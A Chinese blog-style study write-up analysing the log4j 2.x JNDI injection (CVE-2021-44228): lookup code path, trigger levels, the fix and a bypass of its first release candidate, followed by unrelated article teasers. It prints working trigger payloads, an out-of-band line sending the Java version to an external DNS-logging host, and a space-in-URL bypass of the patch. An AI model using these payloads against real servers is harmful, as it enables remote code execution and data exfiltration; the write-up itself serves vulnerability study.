当前位置: 首页 > news >正文

log4j漏洞学习

log4j漏洞学习

  • 总结
  • 基础知识
      • 属性占位符之Interpolator(插值器)
      • 模式布局
      • 日志级别
  • Jndi RCE CVE-2021-44228
    • 环境搭建
    • 漏洞复现
    • 代码分析
        • 日志记录/触发点
        • 消息格式化
    • Lookup 处理
    • JNDI 查询
    • 触发条件
    • 敏感数据带外
    • 漏洞修复
      • MessagePatternConverter类
      • JndiManager#lookup
      • rce1绕过

总结

其实学完之后回过头造成漏洞的原理就是Log4j引入了lookup接口原本的目的是来支持在日志输出时获取任意位置的Java对象。通过使用lookup接口,Log4j可以通过适当的配置和调用,动态地从程序运行环境中获取所需的对象,然后将其作为日志消息的一部分输出到日志目标中。
而恶意利用离不开我们的第一就是我们log4j输出内容的时候会去格式化,这里就会涉及到一个convert和format的过程,就会调用我们的MessagePatternConverter类,它会去识别我们的{jndi:…}这部分,然后交给lookup处理,而这部分主要是由我们的JndiManager负责的,它使用了InitialContext来构建了上下文导致了jndi的注入

基础知识

首先搭建一个环境

我们使用maven来引入相关组件的2.14.0版本,在工程的pom.xml下添加如下配置,他会导入两个jar包<dependencies><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.14.0</version></dependency>
</dependencies>

在工程目录resources下创建log4j2.xml配置文件

<?xml version="1.0" encoding="UTF-8"?><configuration status="error"><appenders>
<!--        配置Appenders输出源为Console和输出语句SYSTEM_OUT--><Console name="Console" target="SYSTEM_OUT" >
<!--            配置Console的模式布局--><PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %level %logger{36} - %msg%n"/></Console></appenders><loggers><root level="error"><appender-ref ref="Console"/></root></loggers>
</configuration>

测试代码
og4j2中包含两个关键组件LogManager和LoggerContext。LogManager是Log4J2启动的入口,可以初始化对应的LoggerContext。LoggerContext会对配置文件进行解析等其它操作。

在不使用slf4j的情况下常见的Log4J用法是从LogManager中获取Logger接口的一个实例,并调用该接口上的方法。运行下列代码查看打印结果


import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;public class log4j2Rce2 {private static final Logger logger = LogManager.getLogger(log4j2Rce2.class);public static void main(String[] args) {String a="${java:os}";logger.error(a);}
}

属性占位符之Interpolator(插值器)

这是什么东西呢?其实理解为我们linux里面的环境变量就好了,log4j2中环境变量键值对被封装为了StrLookup对象。这些变量的值可以通过属性占位符来引用,格式为:${prefix:key}。在Interpolator(插值器)内部以Map<String,StrLookup>的方式则封装了多个StrLookup对象

在这里插入图片描述
这些实现类存在于org.apache.logging.log4j.core.lookup包下,当参数占位符 p r e f i x : k e y 带有 p r e f i x 前缀时, I n t e r p o l a t o r 会从指定 p r e f i x 对应的 S t r L o o k u p 实例中进行 k e y 查询。当参数占位符 {prefix:key}带有prefix前缀时,Interpolator会从指定prefix对应的StrLookup实例中进行key查询。当参数占位符 prefix:key带有prefix前缀时,Interpolator会从指定prefix对应的StrLookup实例中进行key查询。当参数占位符{key}没有prefix时,Interpolator则会从默认查找器中进行查询。如使用${jndi:key}时,将会调用JndiLookup的lookup方法 使用jndi(javax.naming)获取value

模式布局

PatternLayout模式布局会通过PatternProcessor模式解析器,对模式字符串进行解析,得到一个List转换器列表和List格式信息列表。在配置文件PatternLayout标签的pattern属性中我们可以看到类似%d的写法,d代表一个转换器名称,log4j2会通过PluginManager收集所有类别为Converter的插件,同时分析插件类上的@ConverterKeys注解,获取转换器名称,并建立名称到插件实例的映射关系,当PatternParser识别到转换器名称的时候,会查找映射。

而我们的漏洞就是出现在转换器名称msg对应的插件实例MessagePatternConverter对于日志中的消息内容处理中,MessagePatternConverter会将日志中的消息内容为${prefix:key}格式的字符串进行解析转换,读取环境变量。此时为jndi的方式的话,就存在漏洞。

日志级别

在这里插入图片描述
级别由高到低共分为6个:fatal(致命的), error, warn, info, debug, trace(堆栈)。

log4j2还定义了一个内置的标准级别intLevel,由数值表示,级别越高数值越小。

当日志级别(调用)大于等于系统设置的intLevel的时候,log4j2才会启用日志打印。在存在配置文件的时候
,会读取配置文件中值设置intLevel。当然我们也可以通过Configurator.setLevel(“当前类名”, Level.INFO);来手动设置。如果没有配置文件也没有指定则会默认使用Error级别,也就是200

Jndi RCE CVE-2021-44228

环境搭建

为了便于分析,我们就使用上面的那个环境,但是需要修改代码

import org.apache.logging.log4j.Level;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.core.config.Configurator;public class Log4jTEst {public static void main(String[] args) {Logger logger = LogManager.getLogger(Log4jTEst.class);logger.error("${jndi:rmi://64c8bb6d.dnslog.biz.}");}
}

漏洞复现

按道理来说复现是需要我们搭建一个rmi的,但是我知识分析这个逻辑,就简单的用dns来证明有漏洞

在这里插入图片描述

代码分析

先给出调用栈,能够对过程有更好的理解

lookup:209, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1116, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1038, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:345, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:543, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:502, LoggerConfig (org.apache.logging.log4j.core.config)
log:485, LoggerConfig (org.apache.logging.log4j.core.config)
log:460, LoggerConfig (org.apache.logging.log4j.core.config)
log:82, AwaitCompletionReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2198, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2152, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2135, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2011, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
error:740, AbstractLogger (org.apache.logging.log4j.spi)
main:11, Log4jTEst

AbstractLogger.error: 在你的代码中,这个方法被调用来记录一个错误级别的日志。
AbstractLogger.logIfEnabled: 这个方法检查是否启用了对应的日志级别,如果启用了,则继续进行日志记录。
AbstractLogger.logMessage: 这个方法会调用MessageFactory来创建一个日志消息(LogEvent)。
Logger.log 和 LoggerConfig.log: 这些方法处理日志事件,包括日志级别的检查,以及将日志事件传递给所有的Appender来进行处理。
AppenderControl.callAppender: 这个方法将日志事件发送给相应的Appender。在这个例子中,可能是一个ConsoleAppender(控制台输出)或者是一个FileAppender(文件输出)。
AbstractOutputStreamAppender.append: 这个方法将日志事件写入到指定的输出流中,比如控制台或者文件。
PatternLayout.encode: 这个方法将日志事件按照指定的模式(Pattern)转换成一个字符串。
MessagePatternConverter.format: 这个方法将日志事件中的数据按照特定的模式进行格式化,比如日期,日志级别,日志信息等。
StrSubstitutor.replace: 这个方法处理字符串中的变量替换。在你的例子中,它将${java:os}替换成对应的系统属性。
StrSubstitutor.substitute: 这个方法负责实际的字符串替换工作。
Interpolator.lookup: 这个方法用来查找和替换Log4j配置文件和日志事件中的变量。

当然我们重点分析的只有

lookup:209, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1116, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1038, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:345, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender 
日志记录/触发点

通常我们使用 LogManager.getLogger() 方法来获取一个 Logger 对象

在这些所有的方法里,都会先使用名为 org.apache.logging.log4j.spi.AbstractLogger#logIfEnabled 的若干个重载方法来根据当前的配置的记录日志的等级,来判断是否需要输出 console 和记录日志文件。其中 Log4j 包括的日志等级层级分别为:ALL < DEBUG < INFO < WARN < ERROR < FATAL < OFF。

在默认情况下,会输出 WARN/ERROR/FATAL 等级的日志。

消息格式化

这里也是我们的重点,我们从
PatternLayout.encode开始分析,这个方法将日志事件按照指定的模式(Pattern)转换成一个字符串。

toSerializable:345, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout 

PatternLayout.encode: 这个方法将转换为文本的日志事件编码为字节数组,然后写入到输出流中。这个方法可能会进行一些额外的处理,比如添加换行符或者其他的分隔符。

PatternLayout.toText: 这个方法将序列化的日志事件转换为纯文本。在大多数情况下,由于日志事件已经被转换为字符串,所以这个方法可能只是简单地返回传入的字符串。

PatternLayout$PatternSerializer.toSerializable: 这个方法将日志事件转换为一个可以序列化的对象,通常是一个字符串。这个方法使用预先定义的模式(Pattern)来格式化日志事件的各个部分,比如日期、级别、消息内容等。

public StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) {final int len = formatters.length;for (int i = 0; i < len; i++) {formatters[i].format(event, buffer);}if (replace != null) { // creates temporary objectsString str = buffer.toString();str = replace.format(str);buffer.setLength(0);buffer.append(str);}return buffer;}

它会调用 formatters[i].format(event, buffer);方法,而我们的 formatters之一就有我们的org.apache.logging.log4j.core.pattern.MessagePatternConverter

在这里插入图片描述跟进它的format方法

在这里插入图片描述会对我们特殊字符进行一个判断截取,就是获取我们的value部分

在这里插入图片描述

此时的workingBuilder是一个StringBuilder对象,该对象存放的字符串如下所示

09:54:48.329 [main] ERROR com.Test.log4j.Log4jTEst - ${jndi:ldap://2lnhn2.ceye.io}

本来这段字符串的长度是82,但是却给它改成了53,为什么呢?因为第五十三的位置就是 符号,也就是说 符号,也就是说 符号,也就是说{jndi:ldap://2lnhn2.ceye.io}这段不要了,从第53位开始append。而append的内容是什么呢?可以看到传入的参数是config.getStrSubstitutor().replace(event, value)的执行结果,其中的value就是${jndi:ldap://2lnhn2.ceye.io}这段字符串

resolveVariable:1116, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1038, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)

StrSubstitutor.replace: 这个方法处理字符串中的变量替换。在你的例子中,它将${java:os}替换成对应的系统属性。
StrSubstitutor.substitute: 这个方法负责实际的字符串替换工作。
Interpolator.lookup: 这个方法用来查找和替换Log4j配置文件和日志事件中的变量。

Lookup 处理

Log4j2 使用 org.apache.logging.log4j.core.lookup.Interpolator 类来代理所有的 StrLookup 实现类。也就是说在实际使用 Lookup 功能时,由 Interpolator 这个类来处理和分发。

这个类在初始化时创建了一个 strLookupMap ,将一些 lookup 功能关键字和处理类进行了映射,存放在这个 Map 中。在这里插入图片描述处理和分发的关键逻辑在于其 lookup 方法,通过 : 作为分隔符来分隔 Lookup 关键字及参数,从strLookupMap 中根据关键字作为 key 匹配到对应的处理类,并调用其 lookup 方法。
在这里插入图片描述

本次漏洞的触发方式是使用 jndi: 关键字来触发 JNDI 注入漏洞,对于 jndi

JNDI 查询

Log4j2 使用 org.apache.logging.log4j.core.net.JndiManager 来支持 JDNI 相关操作。
JndiManager 使用私有内部类 JndiManagerFactory 来创建 JndiManager 实例,如下图:

在这里插入图片描述可以看到是创建了一个新的 InitialContext 实例,并作为参数传递用来创建 JndiManager,这个 Context 被保存在成员变量 context 中:

我们要触发jndi,就是要触发 InitialContext的lookup方法

JndiManager#lookup 方法则调用 this.context.lookup() 实现 JNDI 查询操作。

在这里插入图片描述

触发条件

通过对上面的代码分析,触发条件我们要看得到信息,那就得把我们的日志打印出来,

这里就要提到Log4j2的日志优先级问题,每个优先级对应一个数值intLevel记录在StandardLevel这个枚举类型中,数值越小优先级越高。
在这里插入图片描述当我们执行Logger.error的时候,会调用Logger.logIfEnabled方法进行一个判断,而判断的依据就是这个日志优先级的数值大小
在这里插入图片描述在这里插入图片描述跟进isEnabled方法发现,只有当前日志优先级数值小于Log4j2的200的时候,程序才会继续往下走,如下所示

在这里插入图片描述
而这里日志优先级数值小于等于200的就只有”error”、”fatal”,这两个,所以logger.fatal()方法也可触发漏洞。但是”warn”、”info”大于200的就触发不了了

敏感数据带外

有时候我们并不能进行反弹shell哪些操作,我们可以尝试外带敏感的信息,比如java版本

"${jndi:ldap://${java:version}.2lnhn2.ceye.io}"

利用dns的解析去外带,因为它会先把内层的解析,再去解析外层

漏洞修复

MessagePatternConverter类

首先在这次补丁中MessagePatternConverter类进行了大改,可以看下修改前后MessagePatternConverter这个类的结构对比

修改前
在这里插入图片描述
修改后在这里插入图片描述
在 MessagePatternConverter 类中创建了内部类 SimpleMessagePatternConverter、FormattedMessagePatternConverter、LookupMessagePatternConverter、RenderingPatternConverter,将一些扩展的功能进行模块化的处理,而只有在开启 lookup 功能时才会使用 LookupMessagePatternConverter 来进行 Lookup 和替换

之前的MessagePatternConverter,变成了现在的MessagePatternConverter$SimpleMessagePatternConverter,那么这个SimpleMessagePatternConverter的方法究竟是怎么实现的

在这里插入图片描述可以看到并没有对传入的数据的“${”符号进行判断并特殊处理,所以利用这个合理的规避了我们的漏洞

JndiManager#lookup

第二个关键位置是 JndiManager#lookup 方法中添加了校验,使用了 JndiManagerFactory 来创建 JndiManager 实例,不再使用 InitialContext

public synchronized <T> T lookup(final String name) throws NamingException {try {URI uri = new URI(name);if (uri.getScheme() != null) {if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme());return null;}if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {if (!allowedHosts.contains(uri.getHost())) {LOGGER.warn("Attempt to access ldap server not in allowed list");return null;}

可以看到如果你是ldap开头的话,我们就需要
在这里插入图片描述就回去判断请求的host,也就是请求的地址,白名单内容如下所示
在这里插入图片描述
可以看到白名单里要么是本机地址,要么是内网地址,fe80开头的ipv6地址也是内网地址,看似想要绕过有些困难,因为都是内网地址,没法请求放在公网的ldap服务,不过不用着急,继续往下看。

使用marshalsec开启ldap服务后,先将payload修改成下面这样

${jndi:ldap://127.0.0.1:8088/ExportObject}
如此一来就可以绕过第一道校验,过了这个host校验后,还有一个校验,在JndiManager.lookup方法中,会将请求ldap服务后 ldap返回的信息以map的形式存储,如下所示

在这里插入图片描述这里要求javaFactory为空,否则就会返回”Referenceable class is not allowed for xxxxxx”的错误
在这里插入图片描述

但是这个没有return,程序会继续执行
也就是说只要让lookup方法在执行的时候抛个异常就可以了,将payload修改成以下的形式

${jndi:ldap://xxx.xxx.xxx.xxx:xxxx/ ExportObject}

在url中“/”后加上一个空格,就会导致lookup方法中一开始实例化URI对象的时候报错,这样不仅可以绕过第二道校验,连第一个针对host的校验也可以绕过,从而再次造成RCE。在rc2中,catch错误之后,return null,也就走不到lookup方法里了。

rce1绕过

那它是不是废弃了我们这个lookup功能呢?

并没有
开发者将其转移到了LookupMessagePatternConverter.format()方法中,如下所示

在这里插入图片描述
所以如果我们如果convert的时候利用LookupMessagePatternConverter从而能让程序在后续的执行过程中调用它的format方法

但是这个绕过吧。。。。也不算绕过
就是要修改配置文件,修改成如下所示在“%msg”的后面添加一个“{lookups}”,我相信一般情况下应该没有那个开发者会这么改配置文件玩,除非他真的需要log4j2提供的jndi lookup功能

参考su18师傅

相关文章:

log4j漏洞学习

log4j漏洞学习 总结基础知识属性占位符之Interpolator&#xff08;插值器&#xff09;模式布局日志级别 Jndi RCE CVE-2021-44228环境搭建漏洞复现代码分析日志记录/触发点消息格式化 Lookup 处理JNDI 查询触发条件敏感数据带外漏洞修复MessagePatternConverter类JndiManager#l…...

架构设计 - WEB项目的基础序列化配置

摘要&#xff1a;web项目中做好基础架构(redis&#xff0c;json)的序列化配置有重要意义 支持复杂数据结构&#xff1a;Redis 支持多种不同的数据结构&#xff0c;如字符串、哈希表、列表、集合和有序集合。在将这些数据结构存储到 Redis 中时&#xff0c;需要将其序列化为字节…...

java(JVM)

JVM Java的JVM&#xff08;Java虚拟机&#xff09;是运行Java程序的关键部件。它不直接理解或执行Java源代码&#xff0c;而是与Java编译器生成的字节码&#xff08;Bytecode&#xff09;进行交互。下面是对Java JVM更详尽的解释&#xff1a; 1.字节码&#xff1a; 当你使用J…...

【网络安全】【深度学习】【入侵检测】SDN模拟网络入侵攻击并检测,实时检测,深度学习【二】

文章目录 1. 习惯终端2. 启动攻击3. 接受攻击4. 宿主机查看h2机器 1. 习惯终端 上次把ubuntu 22自带的终端玩没了&#xff0c;治好用xterm&#xff1a; 以通过 AltF2 然后输入 xterm 尝试打开xterm 。 然后输入这个切换默认的终端&#xff1a; sudo update-alternatives --co…...

飞腾银河麒麟V10安装Todesk

下载安装包 下载地址 https://www.todesk.com/linux.html 安装 yum makecache yum install libappindicator-gtk3-devel.aarch64 rpm -ivh 下载的安装包文件后台启动 service todeskd start修改配置 编辑 /opt/todesk/config/config.ini 移除自动更新临时密码 passupda…...

JWT令牌、过滤器Filter、拦截器Interceptor

目录 JWT令牌 简介 JWT生成 解析JWT 登陆后下发令牌 过滤器(Filter) Filter快速入门 Filter拦截路径 过滤器链 登录校验Filter-流程 拦截器(Interceptor) Interceptor 快速入门 拦截路径 登录校验流程 JWT令牌 简介 全称:JSON Web Token(https://iwt.io/) …...

iText7画发票PDF——小tips

itext7教程&#xff1a; 1、https://blog.csdn.net/allway2/article/details/124295097 2、https://max.book118.com/html/2017/0720/123235195.shtm 3、https://www.cnblogs.com/fonks/p/15090635.html 4、https://www.cnblogs.com/sky-chen/p/13026203.html 5、官方&#xff…...

跟着刘二大人学pytorch(第---10---节课之卷积神经网络)

文章目录 0 前言0.1 课程链接&#xff1a;0.2 课件下载地址&#xff1a; 回忆卷积卷积过程&#xff08;以输入为单通道、1个卷积核为例&#xff09;卷积过程&#xff08;以输入为3通道、1个卷积核为例&#xff09;卷积过程&#xff08;以输入为N通道、1个卷积核为例&#xff09…...

transformer实战

1.pipeline() 首先下载transformer&#xff0c;之后 from transformers import pipeline# 加载一个用于文本分类的pipeline # Use a pipeline as a high-level helperpipe pipeline("zero-shot-classification", model"https://hf-mirror.com/morit/chinese_…...

【Starrocks docker-compose部署】

一、docker-compose部署starrocks 官方的docker-compose地址:docker-compose地址 version: "3.9" services:starrocks-fe-0:image: starrocks/fe-ubuntu:latesthostname: starrocks-fe-0container_name: starrocks-fe-0command:- /bin/bash- -c- |/opt/starrocks/f…...

Nginx 精解:正则表达式、location 匹配与 rewrite 重写

一、常见的 Nginx 正则表达式 在 Nginx 配置中&#xff0c;正则表达式用于匹配和重写 URL 请求。以下是一些常见的 Nginx 正则表达式示例&#xff1a; 当涉及正则表达式时&#xff0c;理解各个特殊字符的含义是非常重要的。以下是每个特殊字符的例子&#xff1a; ^&#xff1…...

代码随想录算法训练营Day37|56.合并区间、738.单调递增的数字、968.监控二叉树

合并区间 56. 合并区间 - 力扣&#xff08;LeetCode&#xff09; 和之前的思路类似&#xff0c;先创建一个ans二维数组&#xff0c;创建start和end来指明添加进入ans数组的区间下标&#xff0c;先对数组按照首元素排序从小到大排序后&#xff0c;根据当前元素是否小于下一个元…...

Web前端开发12章:深入探索与实战解析

Web前端开发12章&#xff1a;深入探索与实战解析 在数字化浪潮的推动下&#xff0c;Web前端开发技术日新月异&#xff0c;成为了构建互联网应用的重要基石。本文将以12章的篇幅&#xff0c;从四个方面、五个方面、六个方面和七个方面&#xff0c;深入探索Web前端开发的精髓&am…...

八股操作系统和计算机网络

5.线程间的同步的方式有哪些&#xff1f; 6.PCB(不熟悉) 进程状态 什么是僵尸进程和孤儿进程&#xff1f; 进程调度算法 死锁的理解 举个发生死锁的例子 解决死锁的方式 内存管理做了哪些事情 什么是内存碎片 常见的内存管理 段表通过什么数据结构实现地址映射 分段机制为什么会…...

正能量情感语录热门素材文案去哪里找?文案素材网站分享

正能量情感语录热门素材文案去哪里找&#xff1f;文案素材网站分享 想为你的作品注入正能量和情感温度&#xff1f;不知如何获取热门情感语录素材&#xff1f;别担心&#xff0c;今天我将为大家推荐一些海外知名的素材网站&#xff0c;让你轻松找到受欢迎的文案素材&#xff…...

bean实例化

黑马程序员SSM 文章目录 一、bean是如何创建的二、实例化bean的三种方式3.1 构造方法&#xff08;常用&#xff09;3.2 静态工厂3.3 实例化工厂&#xff08;了解&#xff09;3.4 FactoryBean 一、bean是如何创建的 Spring 创建bean的时候使用的是无参构造 二、实例化bean的三…...

Django中间件探索:揭秘中间件在Web应用中的守护角色与实战应用

系列文章目录 Django入门全攻略&#xff1a;从零搭建你的第一个Web项目Django ORM入门指南&#xff1a;从概念到实践&#xff0c;掌握模型创建、迁移与视图操作Django ORM实战&#xff1a;模型字段与元选项配置&#xff0c;以及链式过滤与QF查询详解Django ORM深度游&#xff…...

【PL理论】(24) C- 语言:有块的作用域 | 更新的语法 | 新的语义域 | 环境 vs. 内存

&#x1f4ad; 写在前面&#xff1a;我们将再次扩展之前的C语言&#xff0c;让我们向这种语言引入“作用域”的概念。 目录 0x00 C- 语言&#xff1a;有块的作用域 0x01 C- 语言&#xff1a;更新的语法 0x02 新的语义域 0x03 环境 vs. 内存 0x00 C- 语言&#xff1a;有块的…...

React native 使用Animated 优化连续setState 性能问题

再部分场景下我们需要连续更新state刷新页面。一般情况刷新使用setstate没有问题&#xff0c;当需要连续刷新的情况会有明显的性能问题。 场景&#xff1a;自定义可拖动抽屉组件 新增需求在抽屉活动是更新主页面组件样式&#xff0c;此时需要动态传递抽屉高度修改主页组件属性…...

Qt中的事件循环

Gui框架一般都是基于事件驱动的&#xff0c;Qt也不例外&#xff0c;在 Qt 框架中&#xff0c;事件循环&#xff08;Event Loop&#xff09;是一个核心机制&#xff0c;负责管理和分发应用程序中的所有事件和消息。它确保了应用程序能够响应用户输入、定时器事件、窗口系统事件等…...

JVM常用概念之线程本地分配缓冲区(ThreadLocal Allocation Buffer,TLAB)

当实例化一个Java类时&#xff0c;运行时环境必须为相关实例分配存储空间&#xff0c;在JRE中此存储空间分配操作是由内存管理器实现的&#xff08;其实是JVM的垃圾回收器&#xff09;&#xff0c;由于内存管理器通常使用与运行时目标语言不同的语言编写&#xff08;例如&#…...

大模型生成的常见Top-k、Top-p、Temperature参数

参考&#xff1a; https://zhuanlan.zhihu.com/p/669661536 topK&#xff0c;topP https://www.douyin.com/video/7380126984573127945 主要是softmax产生的词表每个词的概率分布后&#xff0c; topK&#xff0c;比如K3&#xff0c;表示采样概率最大的前3个&#xff0c;其他全…...

ppt添加圆角矩形,并调整圆角弧度方法

一、背景 我们看的论文&#xff0c;许多好看的图都是用PPT做的&#xff0c;下面介绍用ppt添加圆角矩形&#xff0c;并调整圆角弧度方法。 二、ppt添加圆角矩形&#xff0c;并调整圆角弧度 添加矩形&#xff1a; 在顶部工具栏中&#xff0c;点击“插入”选项卡。 在“插图”…...

测评要求+基本措施+对应产品

基本要求项测评项基本措施对应产品 网络架构 网络架构 网络架构应保证网络各个部分的带宽满足业务高峰期需要&#xff1b;带宽管理流量控制系统 网络架构 网络架构 网络架构应避免将重要网络区域部署在边界处&#xff0c;重要网络区域与其他网络区域之间应采取可靠的技术隔离手…...

什么是git?

前言 Git 是一款免费、开源的分布式版本控制系统&#xff0c;用于敏捷高效地处理任何或小或大的项目。是的&#xff0c;我对git的介绍就一条&#xff0c;想看简介的可以去百度一下&#x1f618;&#x1f618;&#x1f618; 为什么要用git&#xff1f; OK&#xff0c;想象一下…...

C/C++中内存开辟与柔性数组

C/C中内存的开辟 在C中&#xff0c;我们都知道有三个区&#xff1a; 1. 栈区&#xff08;stack&#xff09;&#xff1a;在执行函数时&#xff0c;函数内局部变量的存储单元都可以在栈上创建&#xff0c;函数执行结 束时这些存储单元自动被释放。栈内存分配运算内置于处理器的指…...

编程App软件优化是什么

编程App软件优化是什么 在数字化时代&#xff0c;编程App软件已成为我们日常生活和工作中不可或缺的一部分。然而&#xff0c;随着技术的不断进步和用户需求的日益多样化&#xff0c;如何对编程App软件进行优化&#xff0c;以提供更高效、更流畅的用户体验&#xff0c;成为了开…...

爱了爱了,11款超良心App推荐!

AI视频生成&#xff1a;小说文案智能分镜智能识别角色和场景批量Ai绘图自动配音添加音乐一键合成视频https://aitools.jurilu.com/今天&#xff0c;我们向你推荐十款与众不同但又不错的win10软件&#xff0c;它们都有各自的功能和优点&#xff0c;相信你一定会喜欢。 1.图片处…...

Linux基础指令(二)(文件、权限等)

目录 普通文件的操作 touch cat 翻页 标准输出重定向&#xff1a; 标准输出重定向种类&#xff1a;​​​​​​​ 管道符&#xff1a;&#xff5c; 压缩指令&#xff1a; zip gzip tar Linux下最常见的打包指令 其他系统指令&#xff1a;​​​​​​​ 快捷…...

爆火的治愈系插画工具又来了,额度居然有18w,根本花不完?

AI治愈插画又又又来了 今天给大家推荐一款完全免费的软件&#xff0c;用过的人都说好&#xff01; 先来看看我生成的图 制作过程非常简单&#xff0c;输入你想要生成的画面咒语。 工具地址&#xff1a;https://www.qiyuai.net/ 模型目前有两种 我上面的图就是用的第一种通用…...

球赛投注网站开发/湘潭seo优化

在一个BLOG上看到的,一段挺好的话&#xff0c;适合于做团队领导者的人记得真心诚意&#xff0c;以情感人&#xff1b;推心置腹&#xff0c;以诚待人开诚布公&#xff0c;以理服人&#xff1b;言行一致&#xff0c;以信取人令行禁止&#xff0c;依法治人&#xff1b;设身处地&am…...

做网站教程下载/十大销售管理软件排行榜

2019独角兽企业重金招聘Python工程师标准>>> 可以从下面地址下载tomcat插件 主页&#xff1a;http://www.eclipsetotale.com/tomcatPlugin.html 安装方法&#xff1a; 解压tomcatPluginv331.zip后将jar包复制到eclipse安装目录中的plugins目录中 重启eclipse&…...

网站免费云主机/网站推广的方法有哪些?

本博客已搬家 地址&#xff1a;www.czhphp.com 所有更新都会在新博客进行 谢谢大家的支持&#xff01; (一). Asp.net Ajax框架教程http://blog.csdn.net/ChengKing/archive/2008/01/09/2032497.aspx(二).Silverlight入门教程(基于Asp.net运行环境示例)http://blog.csdn.net/C…...

学前心理学课程建设网站/做推广的都是怎么推

这个网站是真免费的那种&#xff0c;不是打着免费的旗号让你付费的套路。 我准备更换公司的bug管理系统&#xff0c;找了半天&#xff0c;找到这个网站最符合我的心意&#xff0c;流程简洁&#xff0c;用起来方便&#xff0c;速度快。 有兴趣的去看看吧&#xff1a; buginfo…...

可以做围棋题的网站/搜索引擎付费推广

title: 【D3.js】1.16-更改 SVG 元素的颜色 date: 2022-12-02 14:24 tags: [JavaScript,CSS,HTML,D3.js,SVG] 至此&#xff0c;一个较为完整的rect图已经完成了&#xff0c;但是所有的rect都是黑色。 一、学习目标 如何着色 .attr(“fill”,“navy”); 二、题目 添加 attr() 方…...

金融公司网站开发费用入什么科目/seo主要优化哪些

参考文档&#xff1a; 65.1. 简介 (postgres.cn) BRIN表示块范围索引。 BRIN是为处理这样的表而设计的&#xff1a;表的规模非常大&#xff0c; 并且其中某些列与它们在表中的物理位置存在某种自然关联。一个 块范围是一组在表中物理上相邻的页面&#xff0c;对于每一个块范围…...